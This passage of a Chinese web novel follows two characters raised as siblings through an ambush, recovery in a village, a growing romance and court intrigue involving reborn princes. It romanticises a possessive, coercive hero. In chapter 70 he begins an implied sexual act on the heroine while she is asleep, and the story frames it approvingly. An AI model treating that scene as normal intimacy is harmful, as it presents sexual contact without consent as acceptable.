姜芸薇喉头哽咽:“阿珣,别说这种话, 你我本是姐弟,何谈什么连累?我扶你起来。” 她正要搀扶季珣起身,这时候,身后一支羽箭裹挟着凛冽的杀气,朝着姜芸薇的后背疾射而来。 季珣瞳孔骤缩,几乎是本能地飞身扑过去,一把抱住姜芸薇,用后背硬生生为她挡了这一箭。 “噗。” 锐器刺进皮肉的声音分外清晰。 姜芸薇心跳骤停,她能够感觉到,季珣闷哼一声,抱着她的怀抱骤然收紧,她颤抖着抬起头,便见少年苍白得没有一丝血色的面孔。 对上她的目光,少年弯起唇角,扯出一抹虚弱的笑容,他的声线因剧痛而染上一丝颤音,“阿姐,你没事就好。” 鲜血顺着季珣的手腕滴落在地,将地面染成一片靡丽的红色,姜芸薇再也抑制不住,泪水滚滚而落,她颤声问,“阿珣,你为何要替我挡箭?” 季珣强撑着想要站起身,声音嘶哑,“阿姐,你快跑吧,我来拦住他们,快跑,不用管我。” 姜芸薇凄然一笑,泪水顺着脸颊滑落,她的嗓音细弱却分外坚定,“阿珣,我不会走的,今日我们姐弟两人同生死,共进退,你若死了,我也绝不独活。” 闻言,季珣心中一颤,他唇角扬起,艰难地扯出一抹笑,颤抖着抬手去摸她的脸颊,“阿姐,有你这番话,我今生死而无憾了,阿姐,对不起,这辈子又要连累你因我而死,原谅我,若有来世,我们再也不做什么劳什子姐弟,下一世,我会早些遇到你,娶你为妻……” 他的声音越来越低,气息也越来越微弱,继而,双眸一闭,昏死了过去。 “阿珣!”姜芸薇哭着嘶吼道。 眼看着那群黑衣刺客已经追赶上来,正在朝着这边逼近,姜芸薇反而出奇地冷静下来。 她扭头望了一眼身后的断崖,只见山崖下是湍急滚滚、深不见底的江水。 若是落到这群刺客手中,定然是死路一条,既然这样,那就赌一把吧! 姜芸薇咬牙拔下季珣后背的羽箭,殷红的血溅上她的脸颊,衬得她清丽面容染上一丝妖冶。 她飞快从衣服上撕下一块布条,给季珣简单包扎了一番,紧接着,她俯下身子,贴近季珣的耳畔,嗓音轻柔的开口,“阿珣,要死我们一起死。” 话毕,她用尽全力抱起季珣,纵身一跃,两人如断了线的风筝般,朝着崖底直直坠去。 风声呼啸,刮得耳膜生疼,在离崖底还有约莫一半距离的时候,在求生的本能驱使下,姜芸薇骤然伸手,抓住了一根崖壁上垂落的藤蔓,两人身子顿时悬在了半空。 姜芸薇的掌心被粗糙的藤条磨破,手掌火辣辣的痛,她却依然紧抓着藤蔓不放,恍若濒临绝境之人,攥紧了最后一根救命稻草。 季珣不知何时竟清醒了过来,他很快就反应过来两人如今的处境,嗓音虚弱道:“阿姐,你放开我,顺着藤蔓爬下去吧,还能有一线生机,不必管我了。” 姜芸薇咬牙道:“不!我绝不会放手。” 她话音落下后没多久,藤蔓终是承受不住两人重量断裂开来,姜芸薇身上最后一丝力气消失殆尽,两人身子急速地坠入湍急的河水之中。 冰冷刺骨的湖水瞬间将姜芸薇包裹住,铺天盖地的水灌入她的鼻腔和咽喉,她被呛了好几口水,几乎快要喘不过气来。 正在这时,一道身影游到她的身边,紧紧抱住了她。 是季珣! 他大手紧扣着姜芸薇的后脑勺,薄唇覆上她的唇,渡气给她。 他的吻带着淡淡的血腥气,姜芸薇睫毛轻轻颤动,望着他温柔深邃的眸子,她的心跳瞬间漏了一拍。 两人的长发如海草般在水中纠缠在一起,难分彼此,季珣用力抱着姜芸薇浮上水面,两人顺着水流的方向奋力往前游去。 好在他们从小在乡野长大,小时候经常下水摸鱼,自然也会凫水。 不知道过了多久,姜芸薇的四肢逐渐僵麻,肺腑中的气息也早就已经消耗殆尽,眼看着快要支撑不住,眼前终于出现了一片树林,两人连忙奋力朝着树林边的岸上游去。 待上了岸后,姜芸薇霎时如一尾脱水的鱼般,大口大口的喘着气,劫后余生的喜悦浮上心头,她笑道:“阿珣,我们得救了。” 然而,她话音落下后,身侧少年却并无回应。 一阵凉风拂过,湿透的衣衫紧贴着肌肤,泛起一阵砭骨的寒意。 姜芸薇心猛地一沉,她顾不得浑身的酸软,连忙挣扎着爬起身,踉跄着扑上前去察看季珣身上的伤势。 他背上包扎伤口的布条早就已经被水流冲走,露出后背深可见骨的伤口,被水泡得溃烂发白,看上去分外狰狞可怖。 少年躺在身侧一动不动,气息微弱得近乎消散,可他的掌心却依然紧紧握着姜芸薇的手。 姜芸薇试着抽回手,挣了两下,竟然没有挣开。 泪水瞬间毫无征兆地涌了出来,姜芸薇哽咽道:“阿珣,你千万不要有事,我这就带你去找大夫。” 话毕,姜芸薇将季珣的手臂搭在她的肩膀上,搀扶着他往前走。 季珣虽然看着瘦弱,重量却不轻,她才走了两步便气喘吁吁,汗水顺着脸颊滑落,她却顾不得擦,只是死死咬着嘴唇,几乎是半拖半抱,拽着他往前走,一路上不知摔倒了多少次,她很快又爬起来,继续往前走。 季珣的伤口又开始渗血,浑身冷得像是冰块。 姜芸薇恐惧地浑身发抖,害怕他就此一睡不醒,她声音带着哭腔,“阿珣,你再坚持一下,我一定会找到人救你。” 不知道过去了多久,眼前终于出现了一个小村庄,姜芸薇几乎是飞奔上前,用力拍门,嗓音嘶哑着喊道:“有人吗?救命!快来人救救我们!” 很快,屋门便被人打开了,里面住着的乃是一位老婆婆,她一脸诧异的望着姜芸薇,“姑娘,出什么事情了?” 姜芸薇泪如泉涌,她紧紧攥着老婆婆的手,像是抓住最后一根救命稻草,“婆婆,此处可有大夫,我弟弟受伤了,求求你,救救他。” 老婆婆看了一眼身受重伤的季珣,连忙帮着姜芸薇将人扶进屋,又唤她的小孙女去请村上的大夫。 姜芸薇泪水涟涟,迭声道谢,“多谢你,老婆婆。” 眼看着季珣获救,姜芸薇悬着的心总算坠地,紧绷着的心弦也骤然松懈下来,她眼前一黑,身子便软软倒了下去,彻底失去了意识。 …… 待到姜芸薇醒过来时,映入眼帘的是一间茅草屋,她躺在床榻上,身上穿着一件浅蓝色的粗布裙,鼻尖弥漫着一阵饭菜的香味,她动了下身子,便发觉浑身酸痛的厉害。 姜芸薇惦记着季珣的安危,挣扎着便要起身,恰在此刻,一个扎着两个辫子,看上去年约十岁左右的小姑娘,端着碗走了进来,“太好了,你醒啦?奶奶让我给你端来一碗米粥,你快趁热喝吧。” “多谢小姑娘。”姜芸薇轻声道谢,她迫不及待询问道:“对了,昨日和我一起的那人,他如何了?” “漂亮姐姐,你叫我灵儿就好了。”小姑娘笑眯眯的开口,她叹了口气,又道:“姐姐,那位大哥哥还没醒呢,他睡在我爹以前的房间,大夫说他那一箭伤及心脉,失血过多,又受了凉,十分凶险,能不能醒过来全看天意了。” 闻言,姜芸薇脑海中顿时一阵嗡鸣,她脸色煞白,连忙掀开被褥下榻,脚步踉跄道:“我去看看他。” 季珣安静地躺在榻上,面色苍白如纸,窗外的日光照射在他的身上,非但没有带来半分暖意,反而衬托得那张雪白的面容近乎透明。 姜芸薇心脏像是被一双无形的手紧紧攥住,几乎快要喘不过气来,明明不久之前,她还在马 车上和他置气,而现在,他却气息微弱地躺在榻上,半点声息都无。 她握住季珣冰凉的手,眼泪簌簌落下,“阿珣,你醒醒好不好?都是阿姐不好,我当初就不该让你考功名,不该让你来京城。” 她的声音嘶哑,带着颤音,“阿珣,我们说好同生共死的,倘若你死了,阿姐也不会独活。” 她从未想过,自己竟然如此害怕失去他。 只要一想到这个可能性,心脏便像是被硬生生被剜去一块,鲜血淋漓。 许多画面一幕幕在脑海中浮现,她想起两人在柳溪村相依为命的日子,想起住在崇仁坊时,每次不管他回来的多晚,总会将手脚焐热,再小心翼翼的抱着她,她不敢面对,索性每次都装睡,想起他为了救她,替她挡下了致命一箭。 阿珣毁了她的婚事,对她存了觊觎之心,她原本以为自己是怨他的,怨他总是逼迫她,搅乱了她平静的生活,然而在他濒死的这一刻,姜芸薇才终于发现,她对他从来不只有亲情,而是早已经在不知不觉间动了心。 姜芸薇哽咽着,将他冰冷的手掌覆在自己面颊,“阿珣,若是你能醒过来,我便答应和你在一起。” 第68章 第68章 若是他死了,他的阿姐该怎么…… 季珣这次受伤分外凶险。 他原本就旧伤未愈, 如今那一箭又伤及了心脉肺腑,到了夜里,便发起了高热。 姜芸薇一整日都守在床边, 衣不解带地照顾着他。 老婆婆让灵儿进屋劝过她好几次, 她却恍若未闻,整个人木木的,一句话也不说, 像是魂魄离体般。 到了夜里, 整个村子都安静下来,只能够偶尔听到几声虫鸣, 姜芸薇将帕子用水打湿,覆在季珣滚烫的额头上。 屋内烛火昏暗, 少年一动不动躺在床上, 面容苍白而又虚弱, 嘴唇上干涸泛皮。 姜芸薇心中酸楚, 她眼圈发红, 喃喃低语,“阿珣,你可千万要醒过来,倘若你就这样死了,那我如何对得起九泉之下的母亲?你不是说,倘若有来生,我们不要再做姐弟, 而是要做一对恩爱夫妻吗?何必等什么虚无缥缈的来生,倘若你能够醒过来,我便终生不嫁,一辈子陪在你身边。” 说着, 泪水顿时涌了出来,模糊了视线,她抽噎了一下,哽咽道:“阿珣,你还记得以前吗?你小时候很讨厌我,每次见了我都当做没瞧见,从来不给我好脸色,那个时候,其实我心里很害怕,害怕你不喜欢我,害怕娘会因此将我丢掉,每日都活在担惊受怕之中,直到娘死后,你对我的态度才转变了,那时候,我真的好开心,你终于愿意承认我这个姐姐了。” “阿珣,你生得好看,读书又好,人又聪明,我一直想不明白,这样优秀的你,为何会喜欢我这个平庸普通的姐姐,我一直都觉得,你是错把对我的亲情当成了爱情,后来,我明白你的心意后,又开始害怕,不敢面对,你说得对,我一直是个胆小的人,像是一只蜗牛,遇到一点风吹草动就把头缩进壳子里。” “我曾经幻想过很多次,我以后的夫君会是什么样子的,他应该是个温柔的郎君,脾性温和,敦厚老实,我们两人往后相敬如宾,举案齐眉,可是阿珣,你却完全不是这样的,你性情偏执,行事偏激,又经常做出一些…一些非常过分的事情,我又气又恼,却从来舍不得真的怪你,你就是吃准了我这一点,反而越发得寸进尺,你真的好坏。” “你明知我心软,今日又故意为我挡箭,你若是不醒,我往后都会活在愧疚之中,一辈子都想着你,念着你,忘不了你,这就是你的目的对不对?你真的太讨厌了,阿珣,你快些醒过来好不好?” 姜芸薇紧紧握住季珣的手,一遍遍地呼唤着他的名字,试图将他唤醒。 …… 季珣陷入了一片混沌的黑暗之中。 他似乎又回到了前世,临死之际,他坐在囚车之中,围观的百姓们义愤填膺地朝着他身上扔东西。 烂菜叶、臭鸡蛋如雨点般劈头盖脸砸了下来,他身上早就变得脏污、狼狈不堪。 突然,一块碎石狠狠砸在他的额头上,殷红血珠涌出,顺着眉骨蜿蜒淌落,那抹刺目的红,衬得他俊美面容恍若恶鬼。 “太好了,真是大快人心,这个奸臣终于要死了。” “他就是那个把持朝政,害得民不聊生的奸佞小人?竟生得如此俊美。” “呸,长得好看又有什么用,就是个人面兽心的畜生,这种人五马分尸,千刀万剐都便宜他了。” “季珣,你也有今天!枉你还是读书人,简直愧对天地,愧对列祖列宗!” 周围百姓无不拍手称快,对他百般唾骂,季珣始终面无表情地坐在囚车中,身上透着几分事不关己的漠然,像是周遭的一切都与他无关。 自古以来,成王败寇,他曾经手握权柄,站在万人仰望的顶峰,纵落得今日下场,他也毫无悔意。 正在这时候,一道撕心裂肺的哭嚎声蓦地穿透长街,传入耳中。 “阿珣,阿珣!” 是谁在呼唤他? 季珣蹙了蹙眉,自从他官居首辅后,已经许久没有人敢这样直呼他的名讳了,更何况是这般亲昵的称呼? 姜芸薇身穿素衣,从人群之中冲了出来,朝着囚车的方向追赶而去,“阿珣他定然是冤枉的,求求你们,让我见阿珣一面,和他说几句话,我是他的姐姐。” “你是他的姐姐,那你也不是什么好东西。”混乱中,不知是谁推搡了姜芸薇一把,她一个踉跄跌倒在地,手掌擦过地上的粗粝石子,泛起一阵钻心的疼痛,血珠沁了出来。 姜芸薇眸中滚着泪珠,她从地上爬起来,口中喃喃重复道:“我弟弟他一定是被冤枉的,他不是这种人。” “真会装模作样,你既然是他姐姐,我就不信你不知晓他的为人。” “是啊,居然还有脸面来喊冤。” 那群人将姜芸薇围在中间,铺天盖地的指责和谩骂声如潮水般向她涌来,姜芸薇泪凝于睫,满脸的惊惧害怕。 她哭喊着,凄惶无助,“阿珣,阿珣……” 季珣回眸,与她对上视线。 女子穿着月白色的素衣,满面泪痕,恍若被狂风骤雨侵袭的海棠花,摇摇欲坠,惹人生怜。 她的眼睛很美,眼底盛着一汪潋滟的水光,晕开点点泪痕,那双眸中似乎含着无限的委屈和哀愁。 季珣脑海中突然像是被针扎了般,泛起一阵细密的钝痛,这痛感一路蔓延至四肢百骸,心口疼得像是快要裂开。 季珣下意识捂住胸口,为何看到她的泪水,他的心突然这么痛,几乎快要喘不过气来。 “阿珣,阿珣……” 一时间,周遭的唾骂、指责似乎都变成了模糊的背景音,唯有她一遍遍唤着自己名字的声音,缠绕着钻进他的耳膜,令他心痛如绞。 季珣陡然间清醒了过来。 他想起来了,是他的阿姐在呼唤他,是他拼尽性命,也要保护的人。 只是如今,她被这么多人欺凌,谩骂,可是他却无能为力,只能眼睁睁看着。 他前世那么坏,恶事做尽,可是阿姐却始终无条件的相信着他,相信他是个善良的好官,相信他是被人构陷。 想到这,季珣握着木栏的手紧了几分,手背上青筋暴起。 若是他死了,他的阿姐该怎么办? 她一个弱女子,孤零零活在世上,会不会受人欺凌? 不行,他不能死,他要保护阿姐。 眼前的场景骤然如浓雾般散去,他感受到阿姐正抚摸着他的脸颊,在他床边絮絮低语,一声声呼唤着他。 季珣指节微动,颤抖着睁开眼,“阿姐。” 姜芸薇猛的抬头。 恰好和他的视线对上。 季珣定定地凝望着她,眸光软得似 是浸染了一池春水。 见姜芸薇安然无恙立于眼前,他心中翻涌着前所未有的庆幸,他从来不信神佛,然而这一刻,他却无比感念上天,给了他重来一次的机会。 这一世,他的阿姐,还好端端的站在他的面前。 而往后余生,他都会好好护着她,护她一世安稳,平安喜乐。 “阿珣,你终于醒了!”姜芸薇喜极而泣。 眼前姜芸薇泪凝于睫的模样,逐渐和梦境中的样子融合。 季珣靠坐在身后软枕上,他伸出手,轻轻擦拭着姜芸薇面颊上的泪珠,“阿姐,答应我,往后再也不要因为我落泪好不好?” “好。”姜芸薇想也不想便点头应下,看着季珣尚且虚弱的面容,她又迭声问,“对了,阿珣,你饿不饿?渴不渴?要不要喝水?吃什么东西?” 季珣看了一眼窗外的天色。 此时已近深夜,窗外一片漆黑,无星无月,万籁俱静。 看着姜芸薇眼底的青黑色,他叹息一声,“阿姐,我不饿,也不渴,我如今感觉好多了,阿姐,你不必担心我,好好睡一觉吧,等到了明日,一切都会好的。” 姜芸薇没说话,她伸出手,探向季珣的额头。 还是有些烫,却比之前好多了。 姜芸薇刚松了口气,季珣却蓦地一把握住了她的手。 他身上滚烫的温度顺着指尖传递到她的掌心,姜芸薇不由颤了一下。 她面颊红了红,却没有抽回手。 季珣继续劝道:“阿姐,睡一会吧。” 姜芸薇只好点了点头,她下意识便要站起身,回屋歇息。 季珣却紧紧攥着她的手不放。 姜芸薇疑惑地望向他。 季珣伸手拍了拍他身侧空着的半边床榻,“阿姐,夜已经深了,你就在我旁边合衣凑合一晚吧。” 姜芸薇面皮瞬间涨得通红,磕磕巴巴道:“这怎么行呢,这于理不合。” “阿姐,你放心,我什么都不会做的。”季珣眸光又黑又亮,他嗓音轻软,“阿姐,我很想你,我只有抱着你才能睡得着。” 闻言,姜芸薇脑海中顿时想起住在崇仁坊时,两人早就已经日日同榻而眠,况且,现在这么晚了,她若是回房间歇息,说不定会吵醒了老婆婆和灵儿。 想到这里,她只好含羞带怯地应下。 她慢吞吞地在季珣身侧躺了下来,这张床有些小,两人躺在一起便显得有些拥挤,季珣长臂一捞,便像从前那样,将姜芸薇揽入了怀中。 姜芸薇担心碰到他的伤口,屏住呼吸一动不动,一颗心在胸腔砰砰乱跳。 第69章 第69章 阿姐喜欢小孩? 季珣将手指抵入她的五指缝隙, 严丝合缝地紧紧握住。 姜芸薇身子起初有些僵硬,半晌后,终是抵不过流水般层层袭来的倦意, 睡了过去。 她熟睡的模样分外恬静乖巧, 脑袋埋在季珣的胸膛上,纤长卷翘的睫毛如蝶翼般轻轻颤动,呼吸绵长均匀。 季珣紧紧抱住她, 心中涌起一阵难以言喻的甜蜜感。 他和阿姐, 天生就合该是一对。 前世,他已经做错了, 今生,他再也不会重蹈覆辙。 梦境之中的场景也不会发生。 他们会长长久久的在一起。 翌日清晨, 姜芸薇醒过来的时候, 发觉自己还躺在季珣的怀中。 日光溶溶, 透过半开的窗棂照射进屋内, 在被褥上洒下碎金般的光斑。 少年半边身子浸在暖融融的光里, 侧脸轮廓秀挺,俊美的像是画中人。 他黑亮的眸子一瞬不瞬的落在她身上,不知看了多久。 姜芸薇面颊一红,连忙半坐起身子,讷讷开口,“阿珣,你什么时候醒的, 怎么不叫我?” 季珣唇角含笑,“我见阿姐睡得香,便不忍唤醒你,再说如今又没什么事情, 阿姐多睡一会也无妨。” 姜芸薇正要掀开被褥下榻,房门却蓦地被推开,灵儿快步从屋外走了进来,两人同睡一榻的场景自然不可避免的被她瞧见了。 灵儿眼珠子转了转,一双眼睛黑葡萄般水润透亮,“大姐姐,你和大哥哥是夫妻吗?” 姜芸薇雪白的面容上顿时飞上一抹红霞,又羞又窘。 灵儿笑嘻嘻道:“奶奶说,只有夫妻才能睡一张床,我爹娘以前也睡一张床榻。” 瞧见少女单纯的面容,姜芸薇心下松了口气,灵儿还是个孩子,只怕还不知晓夫妻究竟是何含义。 她下了床榻,走上前轻轻摸了摸灵儿乌黑的发髻,下意识问道:“灵儿,那你爹娘呢,他们如今去了何处?” 闻言,灵儿脸色一黯,“我爹娘都死了,奶奶说他们再也不会回来了。” 姜芸薇愣了一下,她看向灵儿的眸中顿时多了几分怜惜之色,“别难过,他们会变成天上的星星,守护着灵儿的。” 灵儿似懂非懂地点了点头,她想起正事,忙道:“姐姐,奶奶叫我喊你出去吃早膳。” * 季珣如今伤势还未痊愈,无法起身下榻。 姜芸薇便亲自端了早膳进来,是一碗粟米粥,上面放着几颗红枣,正冒着腾腾热气。 季珣扫了一眼,却迟迟不肯伸手去接,他唇角漾起一抹笑,“阿姐,我手好痛,不如你喂我吃吧。” 姜芸薇嗔他一眼,“阿珣,你受伤的地方乃是胸口,又怎会手痛?” 季珣眼巴巴地望着她,他拉长音调,撒娇般唤道:“阿姐。” 姜芸薇被他这样的眼神看着,一颗心顿时软成酥水,她无奈一叹,拿起勺羹,舀了一勺粥喂到他的嘴边,声如蚊蚋,“张嘴。” 季珣乖顺张开嘴。 对上他晶亮的眸子,姜芸薇手指一颤,温热的米粥顿时溅出了些许,沾在他的下颌处。 姜芸薇愣了下,连忙拿起帕子轻轻拭去。 季珣眸中嗪满了笑意,“阿姐,不过喂个粥罢了,你紧张手抖什么?” 听出他话中的揶揄之意,姜芸薇有些羞窘,就连耳后根都染上一层薄粉色,她有些气恼的将粥放在床榻边的桌案上,“阿珣,我看你好得很,这粥你还是自己喝吧。” 话毕,姜芸薇站起身,不顾他的挽留,快步走了出去。 瞧着姜芸薇的背影消失不见,季珣彻底傻眼了。 得,是他太过得意忘形了,俗话说,兔子急了也会咬人呢,阿姐虽然性子软和,脸皮却薄得很,他不过只是随口逗弄了两句,竟然将人给惹恼了! * 季珣伤势未愈,这些日子,两人便住在周婆婆家中。 周婆婆性子和善,又非常热情,她的孙女灵儿亦是分外机灵可爱,姜芸薇打心眼里喜欢她们。 她将身上的钱财都拿出来给周婆婆,权当做这几日的食宿费,周婆婆却再三推拒,怎么都不肯收,姜芸薇无奈,只好每日抢着揽下家中的活计,闲暇无事时,还顺便帮周婆婆和灵儿缝制了几件衣衫,也好减轻几分心中负担。 又过了四五日,季珣的身子也好转了不少,已经能够下地行走了。 姜芸薇担心他每日躺着闷得慌,便带他在村子里散心。 这个村子名唤安平村,村子并不大,共有二三十户人家,这些日子,姜芸薇经常抱着衣服去河边洗,村子里有不少人都已经见过她,却从来没人见过季珣。 季珣生得高大俊秀,许多村民都忍不住好奇地盯着他们打量。 几个小孩在河边追逐打闹,瞧见姜芸薇和季珣两人出现,一个小女孩忍不住走上前,眼睛亮盈盈的,“芸姐姐,他是你的夫君吗,你们好般配啊,就像话本子里面的人一样。” 这个小女孩今年才十二岁, 名唤彩玉,和灵儿乃是朋友,这些日子,她经常来找姜芸薇玩。 听见彩玉所言,姜芸薇涨红了脸,然而,她却并未否认,而是小声道:“是。” 她和季珣两人这般亲密,就连周婆婆和灵儿都早已认定了他们乃是夫妻,眼下再否认也是无济于事了。 一旁的季珣听到姜芸薇承认和他是夫妻,一颗心顿时恍若泡在蜜罐里,甜滋滋的。 这些日子,他时常觉得,眼前的这一切美好得恍若一场不真实的幻梦。 彩玉目光毫不避讳的在季珣面上逡巡,“姐姐,你的夫君生得真好看,将来,我也要寻一个这么俊俏的夫婿。” 姜芸薇被她逗笑,眼睛弯成一泓月牙儿,“你才多大,就想着嫁人啦。” 彩玉咯咯笑道:“姐姐,我说笑的,你可千万别告诉灵儿,不然她又要取笑我了。” 姜芸薇笑着点头答应。 而不远处的树后,一个男孩正如临大敌地瞪着季珣,显然对他的出现十分不满。 姜芸薇待村里的孩子素来亲厚,她生得漂亮,说话又分外温柔,像仙女似的,村子里的小孩都喜欢她,苏禾尤甚,他总是爱跟在她身后,一口一个“芸姐姐”叫得热切,他甚至一心想要娶“芸姐姐”为妻,彩玉知道他的想法后,在背地里嘲笑了他许久。 苏禾眼下瞧着这个自称为姜芸薇夫君的男子,自然怎么看都觉得不顺眼。 彩玉不知何时出现在他身后,挖苦道:“听到没有,芸姐姐已经有夫君了,你别做白日梦了。” 苏禾攥紧拳头,腮帮子一鼓,轻哼一声,“我才不服气呢!” 话毕,苏禾几步上前,拦住了季珣的去路,他仰着小脸梗着脖子道:“你敢不敢和我比试,做先生留下的课业,若是你输了,芸姐姐就得嫁给我。” 季珣愣了愣。 还是姜芸薇最先反应过来,她担心季珣生气,连忙下意识地挡在苏禾面前,“阿珣,他还只是个孩子,说胡话呢!你别放在心上。” 这苏禾不过才十岁左右的年纪,哪里懂得什么娶妻,只不过是和村子里小孩玩过家家游戏的时候,听了几句便记在心上,这些日子,苏禾也经常说要娶她,童言无忌,姜芸薇从未放在心上,谁曾想,今日苏禾竟说到季珣面前来了。 看着姜芸薇紧张的模样,季珣觉得好笑的同时,又生出几分气恼。 在阿姐的眼中,他就这般丧心病狂,连一个孩子都不放过? 季珣轻笑,“阿姐放心,我自然不会当真。” 话毕,他睨着眼前这个身量还不到他胸口的孩子,似笑非笑道:“好呀,什么课业,给我看看。” 季珣身上威压甚重,苏禾心底莫名有些害怕,他攥着书册的手紧了紧,却仍梗着脖子应:“好!” 说着便把手里的书册和一支毛笔递到季珣手中,不服气道:“这是夫子给我留的课业,你若是能全答对,我就认输。” 季珣伸手接过,草草扫了一眼。 苏禾平日里在学堂课业成绩都是第一,心中不免有些自得,他笑道:“怎么样,倘若你认输的话——” 他话还未说完,季珣便飞快地拿起毛笔,唰唰在上面写下答案,然后,面色平静地递到苏禾的手中。 苏禾不可思议地瞪大了眼,看了一遍又一遍,她心中难以置信,究竟全都答对了,而且速度这么快,就连夫子都不一定有这么厉害…… 他双眸倏地一亮,夸赞道:“哥哥,你好厉害啊,”顿了顿,他话语中多了几分忐忑之色,揪着衣角小声问,“我还有些不懂的课业,能不能问你呀。” 季珣戏谑笑道:“自然可以,那么,你还要娶芸娘吗?” “芸娘”二字从他口中吐出,尾音轻扬,裹着说不清道不明的缠绵缱绻之意,姜芸薇脸上泛起一阵热意。 苏禾歪着小脑袋思忖一瞬后,头摇得像是拨浪鼓似的,“不要了,哥哥和芸姐姐才是天生一对。” 夫子说,君子要守信,一诺千金,况且,这位哥哥学识这般过人,比夫子还厉害,自然配得上芸姐姐。 季珣眉眼舒展,灿然一笑,“你有何不懂的地方?” 苏禾连忙凑上前,指着书纸上的某处内容。 姜芸薇站在一旁,瞧着一大一小两个脑袋挨凑在一起的温馨场景,心中倏地泛起一阵暖意。 待到苏禾离开后,天色也已经不早了,两人并肩坐在河边看日落。 金色的晚霞将湖面晕染得橙黄一片,细碎的波光随风晃动,恍若荡漾了满湖碎金。 季珣突然开口,“阿姐喜欢小孩?” 第70章 第70章 罔顾人伦,强夺人妻 姜芸薇怔了怔, 继而点头道:“小孩乖巧可爱,我自然是喜欢的。” 季珣若有所思地垂眸。 他并不喜欢小孩。 倘若不是阿姐在场,他方才压根不会理会那个叫苏禾的小孩。 他幼时曾听母亲说起过, 当初怀他的时候, 母亲难产血崩,险些丢了性命,女子生产, 本就分外凶险, 相当于一只脚踏进了鬼门关,他舍不得阿姐冒险。 况且, 阿姐这么喜欢小孩,将来他们的孩子出生, 她定然会将全部的心思都花费在孩子的身上。 他希望, 阿姐的眼里只有他。 姜芸薇突然开口, “阿珣, 如今你伤势已经好得差不多了, 我们是不是也该动身回京了?” 他们已经在安平村待了快半月时间,季珣好歹也是朝廷命官,如今却无故失踪了这么多时日,也不知晓会不会影响他的仕途。 “不急。”季珣转头看向她,“阿姐不是喜欢这吗?既然如此,那我们便多待一段时间。” 姜芸薇一怔,半晌无言。 她确实很喜欢此处, 这里民风淳朴,而且小孩们也非常活泼开朗,这些日子待在此处,她真的很开心, 如果可以的话,她真的不希望再回到京城。 不过,她既然已经答应了季珣不会离开他,便会遵守诺言随他回到京城,况且,季珣无缘无故遭到刺杀,定然是在朝堂之上惹到了什么不该惹的人物,倘若他活着回到京城,背后那人定然不会就此善罢甘休,这种情形下,她也不放心离开。 * 这日晚上,姜芸薇烧了热水沐浴过后,早早的便钻进了床榻之中。 没过多久,季珣便蹑手蹑脚地钻了进来。 他热烘烘的身子紧贴着姜芸薇的背脊。 如今已经五月份了,空气中分外潮热,季珣身上温度又高,很快便烘得她后颈、脊背都沁出了薄汗,黏腻的难受。 姜芸薇转过身子,伸手推搡着他的胸膛,“阿珣,你别抱着我,太热了。” “阿姐。”季珣有些不满地咕哝了两声,望着姜芸薇嫣红的唇瓣,他蓦地伸出手,揽着她的后颈,薄唇猝不及防覆上来,堵住了她的唇。 季珣在她的唇上辗转吮吸,又撬开她的牙关,长驱直入,他吻得又深又急,像是要将她唇腔内的每一寸气息,都尽数掠夺。 姜芸薇僵硬片刻后,笨拙地、迟疑地试探着回应他。 季珣浑身猛地一震,双眸陡然间亮了起来,他吻得越发热切汹涌,他勾住她的丁香小舌缠搅,温柔而又细密地舔舐着,时不时还用力吮吸两下。 姜芸薇被他吻得浑身脱力,舌根发麻,双眸盈满了水光,就连挣扎的力气都没了,只能软在他怀里。 半晌后,季珣才依依不舍地松了唇,一缕透明的银色水丝牵在两人唇齿间。 他额头贴着姜芸薇的额头,两人呼 吸交缠,烛火昏暗,映出床上两人交叠的身影。 姜芸薇脸颊泛起朝霞般绚烂的红色,她眼神躲闪着,害羞得不敢直视季珣,“阿珣,时候不早了,早些歇息吧。” 季珣并不回答。 烛火下,姜芸薇肌肤上泛着一层薄薄的细汗,乌发披在肩头,肌肤莹白,身上幽香扑鼻。 他目光紧紧黏在姜芸薇的身上,恍若一张细密的大网,将她团团笼罩其中。 “阿珣?”姜芸薇被他盯得有些不自在,忍不住出声唤他。 季珣浅浅一笑,神色温柔,“好,都听阿姐的。” …… 夜里,姜芸薇睡得正熟,突然感觉身子涌起一阵潮热感。 像是置身于温泉之中,汩汩暖流从四面八方漫涌而来,将她整个人都包裹住,浑身每一寸毛孔都被熨帖得分外舒展,缕缕舒爽感从四肢百骸蔓延开来。 她不安地蹙了蹙眉,疑心自己身在梦中。 耳畔时不时传来几声吞咽的轻响,在寂静的夜色中分外清晰。 她费力地睁开眼,借着窗外朦胧月光,看清楚被褥下一团隆起。 姜芸薇很快就反应过来季珣在做什么。 夜阑人静,月华如练,漫过窗棂淌在被褥上,照耀着屋内的一切。 姜芸薇羞愤欲死,她五指紧攥着身下的锦被,喉间发出低低的呜咽声,整个人如同化成了一摊春水。 * 次日,季珣和姜芸薇两人和安平村的众人告别,打算动身返回京城。 村里众人都很舍不得他们,灵儿甚至红了眼眶,拉着姜芸薇的手不愿放她离开。 最后还是周婆婆上前,哄了许久,这才将小姑娘情绪稳住,让她恋恋不舍地松了手。 坐在马车上时,姜芸薇亦是心情低落。 看出了她的心事,季珣握住她细嫩的柔夷,宽慰道:“阿姐莫要难过,你若是实在舍不得她们,将来我再陪你回来此处看望她们。” 姜芸薇勉强一笑,轻轻点了点头。 马车一路奔波,到了第二日午时,方回到京城。 春桃和碧荷瞧见他们平安回来,激动得直呼菩萨保佑。 季珣没在府中待多久,便匆匆出去了。 他消失这么些时日,想必朝堂之上还有许多事情等着处理。 季珣去了一趟三皇子府,这才得知,他失踪这些日子,果真发生了很多事情。 前些日子的祭祀大典上,皇上遭遇刺客,危急关头,是六皇子秦彰奋不顾身替皇上挡下致命一剑,皇上大为感动,终于想起了这个冷宫之中的皇子,从这以后,六皇子便重得帝心,恩眷日隆。 而秦煜,他私底下用了些不光彩的手段,强夺臣妻一事不知如何被皇上知晓了,皇上训斥他私德有亏,罚他在府中闭门思过。 季珣几乎是瞬间便意识到—— 秦彰也重生了。 那祭祀大典上的遇刺,分明是秦彰自导自演设下的苦肉计,他故意找来刺客刺杀皇上,又挺身挡剑,博取皇上信任恩宠。 而秦煜强夺臣妻之事,乃是前世季珣查明后,亲口告知秦彰的秘辛,如今却成为了秦彰对付秦煜的工具,这桩桩件件,都足以佐证,秦彰同他一般,都带着前世的记忆归来了。 想通了这所有关节,此前那些欲置他于死地的黑衣杀手,究竟受何人指使,便已经是昭然若揭。 秦彰此人极擅长蛰伏隐忍,又极懂如何挑拨人心。 想必他早就已经猜出自己亦是重生之人,这才先下手为强,派出刺客想要置他于死地。 如今得知刺杀失败,秦彰定然会想其他办法对付他。 这段时日,秦彰定然早已暗中派人调查过他了。 不好! 